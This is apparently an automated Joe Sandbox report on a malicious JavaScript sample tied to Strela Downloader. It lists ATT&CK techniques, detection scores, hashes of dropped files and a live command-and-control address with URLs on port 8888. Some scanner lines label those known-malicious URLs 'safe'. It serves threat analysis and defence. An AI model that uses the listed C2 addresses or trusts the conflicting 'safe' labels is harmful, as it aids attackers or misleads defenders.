Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16529230753138817875.js	8%	Virustotal		Browse
16529230753138817875.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/?	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2664973621.0000021F38C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1460323460.0000016924D48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1460323460.0000016924D2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1460323460.0000016924CF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.1460323460.0000016924D2B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1469624595.0000021F38AF0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/?	net.exe, 00000007.00000002.1460323460.0000016924D2B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588225
Start date and time:	2025-01-10 22:49:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16529230753138817875.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 23.209.209.135, 199.232.210.172, 2.23.242.162, 2.16.168.107, 2.16.168.105, 184.28.90.27, 13.107.246.45, 20.109.210.53, 34.237.241.83, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:50:34	API Interceptor	23x Sleep call for process: powershell.exe modified
16:50:38	API Interceptor	1x Sleep call for process: net.exe modified
16:50:39	API Interceptor	2x Sleep call for process: svchost.exe modified
16:50:47	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49319386339426646
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaT:cJhXC9lHmutpJyiRDeJ/aUKrDgnmR
MD5:	F89FB8E6245D2714208DD07316C9D63D
SHA1:	10E1C9A78D05AA80116822A108887C54174F1754
SHA-256:	19C525FB8134AE27B54F97A5D1A21D9C8FDCADC8BACE9309715B9DEA9C907D3C
SHA-512:	C8A6207CBDABD36F4594F81FA003F2C48DDA1FB32890001924DCB977B7158E5FF2FABB25666A36715DC49450D3A00F1ADEB116F4D1647305DDBB46462AA65BFC
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x18e4d1df, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216793775423408
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:zazaNvFv8V2UW/DLzN/w4wZi
MD5:	2FB3883D31BF45467BAD6DD176E2FD73
SHA1:	012B3B7381220A514018BF1FDA7F3986410F87F6
SHA-256:	EF9C5BECD7275593E4FE2C127AD4B5DADC6EE18AA957BD07139B216731CF8CA8
SHA-512:	B240D1FA7F084604E23546C21A4D5329569C71D352943CDDB98635822123524465B8C5F248FD00C2AB4744460EC8079A30946AA10F3DC2ACA5EEF244D546AC83
Malicious:	false
Preview:	....... ...............X\...;...{......................p.D..........{}.(2...}y.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................n.m(2...}.....................^(2...}y..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07941552239899158
Encrypted:	false
SSDEEP:	3:n8Ye6qRclgps6/fgsCrZClW/tO7NX5lll/All+SHY/Xl+/rQLve:8zzUsxfgs3GQJLltAAS4M
MD5:	487D472E4D80F0CFB8DB5666700B9E06
SHA1:	F68741EA5A77798B41491D7972A9CBC57B6F2557
SHA-256:	01025B6BC1F25875C20A50E885910A724AA8E1E809F1759018ABA3DB274B3B94
SHA-512:	162ED65509BAC8F1350A3FA61B705F87E79B8EE108E9FDAF887B659BAECAD67D6AF08E5A0E74788E3ADD61663C75B818CF9E1A43762962382AFB5E9E5C8C6E0B
Malicious:	false
Preview:	F........................................;...{..(2...}y......{}..............{}......{}.vv_Q.....{}....................^(2...}y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.238267294530332
Encrypted:	false
SSDEEP:	6:iO40Ei+q2PqLTwi2nKuAl9OmbnIFUtS0HsZmws0pNVkwOqLTwi2nKuAl9OmbjLJ:71Ei+v8wZHAahFUtjHs/ppNV5TwZHAae
MD5:	780CCEA421A42CEC7A6D4EFF7A228668
SHA1:	9441E4EE470B476DA4D55E812E078F2AF4780489
SHA-256:	3FA8AE0337CA53EFC886B0DBE0C74A404F53F8FF7F69B52D8EEC4BE2AE931B09
SHA-512:	860F07C90CC453617AC66155D870E1F3FF4E2090ECB6E587D6C00553A937B2BBD71F6DC16EA9AEF88BC042C4A706E2D86448F01ADEF494E36346BD2A50740153
Malicious:	false
Preview:	2025/01/10-16:50:39.673 1d4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:50:39.676 1d4c Recovering log #3.2025/01/10-16:50:39.677 1d4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.238267294530332
Encrypted:	false
SSDEEP:	6:iO40Ei+q2PqLTwi2nKuAl9OmbnIFUtS0HsZmws0pNVkwOqLTwi2nKuAl9OmbjLJ:71Ei+v8wZHAahFUtjHs/ppNV5TwZHAae
MD5:	780CCEA421A42CEC7A6D4EFF7A228668
SHA1:	9441E4EE470B476DA4D55E812E078F2AF4780489
SHA-256:	3FA8AE0337CA53EFC886B0DBE0C74A404F53F8FF7F69B52D8EEC4BE2AE931B09
SHA-512:	860F07C90CC453617AC66155D870E1F3FF4E2090ECB6E587D6C00553A937B2BBD71F6DC16EA9AEF88BC042C4A706E2D86448F01ADEF494E36346BD2A50740153
Malicious:	false
Preview:	2025/01/10-16:50:39.673 1d4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:50:39.676 1d4c Recovering log #3.2025/01/10-16:50:39.677 1d4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.184812786917083
Encrypted:	false
SSDEEP:	6:iO40FOq2PqLTwi2nKuAl9Ombzo2jMGIFUtS0bZmws0xkwOqLTwi2nKuAl9Ombzos:71FOv8wZHAa8uFUtjb/px5TwZHAa8RJ
MD5:	31407DE07BA3B9533D791CBA2CCF70F5
SHA1:	8AA23B694A33B8438E75D9F7B65BB0E333EB15F1
SHA-256:	C05710BBDA36CC024848516B82741C2F3D6F0FDF4E2AF347D6BA86103702068E
SHA-512:	C29A12A19CEA1DDC7E423CA507C8FAE2798001129DC6DCE41F5C8CBCE8133961DC24F2BC7C79A1BB9D2A3D3F0C095341663554B9A5DCC5524CCB8D03FEE0B631
Malicious:	false
Preview:	2025/01/10-16:50:39.693 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:50:39.695 1da4 Recovering log #3.2025/01/10-16:50:39.695 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.184812786917083
Encrypted:	false
SSDEEP:	6:iO40FOq2PqLTwi2nKuAl9Ombzo2jMGIFUtS0bZmws0xkwOqLTwi2nKuAl9Ombzos:71FOv8wZHAa8uFUtjb/px5TwZHAa8RJ
MD5:	31407DE07BA3B9533D791CBA2CCF70F5
SHA1:	8AA23B694A33B8438E75D9F7B65BB0E333EB15F1
SHA-256:	C05710BBDA36CC024848516B82741C2F3D6F0FDF4E2AF347D6BA86103702068E
SHA-512:	C29A12A19CEA1DDC7E423CA507C8FAE2798001129DC6DCE41F5C8CBCE8133961DC24F2BC7C79A1BB9D2A3D3F0C095341663554B9A5DCC5524CCB8D03FEE0B631
Malicious:	false
Preview:	2025/01/10-16:50:39.693 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:50:39.695 1da4 Recovering log #3.2025/01/10-16:50:39.695 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.979003384211006
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBcBsBdOg2Hw2caq3QYiub5P7E4T3y:Y2sRdsHSdMHW3QYhbt7nby
MD5:	3C50A7C2A3561214ECEDECA4D579A121
SHA1:	48946440521925885336928AD7A0E749202BEFD4
SHA-256:	8AD1EFB9732C5ECDD1F0A7FA11C357967AD2A968851E5003AF38AA38FEBAF33D
SHA-512:	2E9A63616C9223E52607D3ED9DEA286F8AC8BD9FB09F8B0ACCAB45F2635CC8F1EABC0B1830CF8CC6A0DD7D9F03D333587DD31E057DF57AF98AA554F352757817
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105850765719","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":203066},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e22d10d6-3f69-458a-8f62-87967792ef3f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.979003384211006
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBcBsBdOg2Hw2caq3QYiub5P7E4T3y:Y2sRdsHSdMHW3QYhbt7nby
MD5:	3C50A7C2A3561214ECEDECA4D579A121
SHA1:	48946440521925885336928AD7A0E749202BEFD4
SHA-256:	8AD1EFB9732C5ECDD1F0A7FA11C357967AD2A968851E5003AF38AA38FEBAF33D
SHA-512:	2E9A63616C9223E52607D3ED9DEA286F8AC8BD9FB09F8B0ACCAB45F2635CC8F1EABC0B1830CF8CC6A0DD7D9F03D333587DD31E057DF57AF98AA554F352757817
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105850765719","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":203066},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.230254726098131
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz8bwV+:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz87
MD5:	668CAD0AEF62421F8D1BD2295133CB2D
SHA1:	57C2F305BA5457650AE83ADA372D2496AA9536C9
SHA-256:	BD98EECBB399D79FEC8DFE53DEBD98AF558743A210EE0AE454EFA26EF5573A24
SHA-512:	7979325F076A2DAE47A25C3E0056B4D48497953F8F1666A9DB8E912BD1F4E8597499C2B52E20AAC28201D81BAA71B49C1F265133DD9F84B44A44B4D8ABC4AEE1
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.133081599263189
Encrypted:	false
SSDEEP:	6:iO4Mq2PqLTwi2nKuAl9OmbzNMxIFUtSJfZmwszB0kwOqLTwi2nKuAl9OmbzNMFLJ:7jv8wZHAa8jFUtE/e05TwZHAa84J
MD5:	0C25AD7827EF0022BD4CA367CA37A8F2
SHA1:	EC2DF8B65317C63D091FDD0DE947146F620DA51A
SHA-256:	C3A35037FE5D6306998BD0DC51C5735AA26B237A7FBE095A37B25DEC938AD816
SHA-512:	D56F640B09498A705DCF43A876F43A2AD2B829CDBC4D4ED4FE482DE9FDBAB64C265F72BC2DD29BAD3A063E2A6015B98DC513FDF4A55F7E42563D2E40A1AD3D0E
Malicious:	false
Preview:	2025/01/10-16:50:40.139 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:50:40.140 1da4 Recovering log #3.2025/01/10-16:50:40.141 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.133081599263189
Encrypted:	false
SSDEEP:	6:iO4Mq2PqLTwi2nKuAl9OmbzNMxIFUtSJfZmwszB0kwOqLTwi2nKuAl9OmbzNMFLJ:7jv8wZHAa8jFUtE/e05TwZHAa84J
MD5:	0C25AD7827EF0022BD4CA367CA37A8F2
SHA1:	EC2DF8B65317C63D091FDD0DE947146F620DA51A
SHA-256:	C3A35037FE5D6306998BD0DC51C5735AA26B237A7FBE095A37B25DEC938AD816
SHA-512:	D56F640B09498A705DCF43A876F43A2AD2B829CDBC4D4ED4FE482DE9FDBAB64C265F72BC2DD29BAD3A063E2A6015B98DC513FDF4A55F7E42563D2E40A1AD3D0E
Malicious:	false
Preview:	2025/01/10-16:50:40.139 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:50:40.140 1da4 Recovering log #3.2025/01/10-16:50:40.141 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438250822376895
Encrypted:	false
SSDEEP:	384:ye+ci5GniBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pfurVgazUpUTTGt
MD5:	3A04075CD5EADDEE41AB1CBB4A5BCD68
SHA1:	989F9652BDDFE85745606CF8FA864B901BEF4539
SHA-256:	46F4E085CA97CEF49AC781E640BF6046DEC624250C72CB0A9AE224803D1ED284
SHA-512:	EC7BB98A870F94A6D7B17DAF0A09BC65C6C962C2B8CE433EB5A2F6853E7D9392D4AA723A0EBC3C98B99F637C67C64338849D584EA94BACCCDE4EABD02F897339
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7657196401944257
Encrypted:	false
SSDEEP:	48:7MzJioyVzioyDoy1C7oy16oy1kKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OL:7MJuzRrXjBiTb9IVXEBodRBk4
MD5:	17F0EB833F2B3AAC70F7C5004A716D41
SHA1:	676181010B258CDC6D684CAA74928DCFBAA3EEC9
SHA-256:	4A38013C009F5EAB6EF050BA1E38B70795C010C216B7F32D0276BC04DB597A42
SHA-512:	7B60E2F24091F92EB2AF215823BE2AE0DFAF8D44758B6E654AF7C243B6D4332E305D8CADF05E58C01E5C29CD18F14EA8B0D5293449307CF7C37134A791A264D3
Malicious:	false
Preview:	.... .c......4.A...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
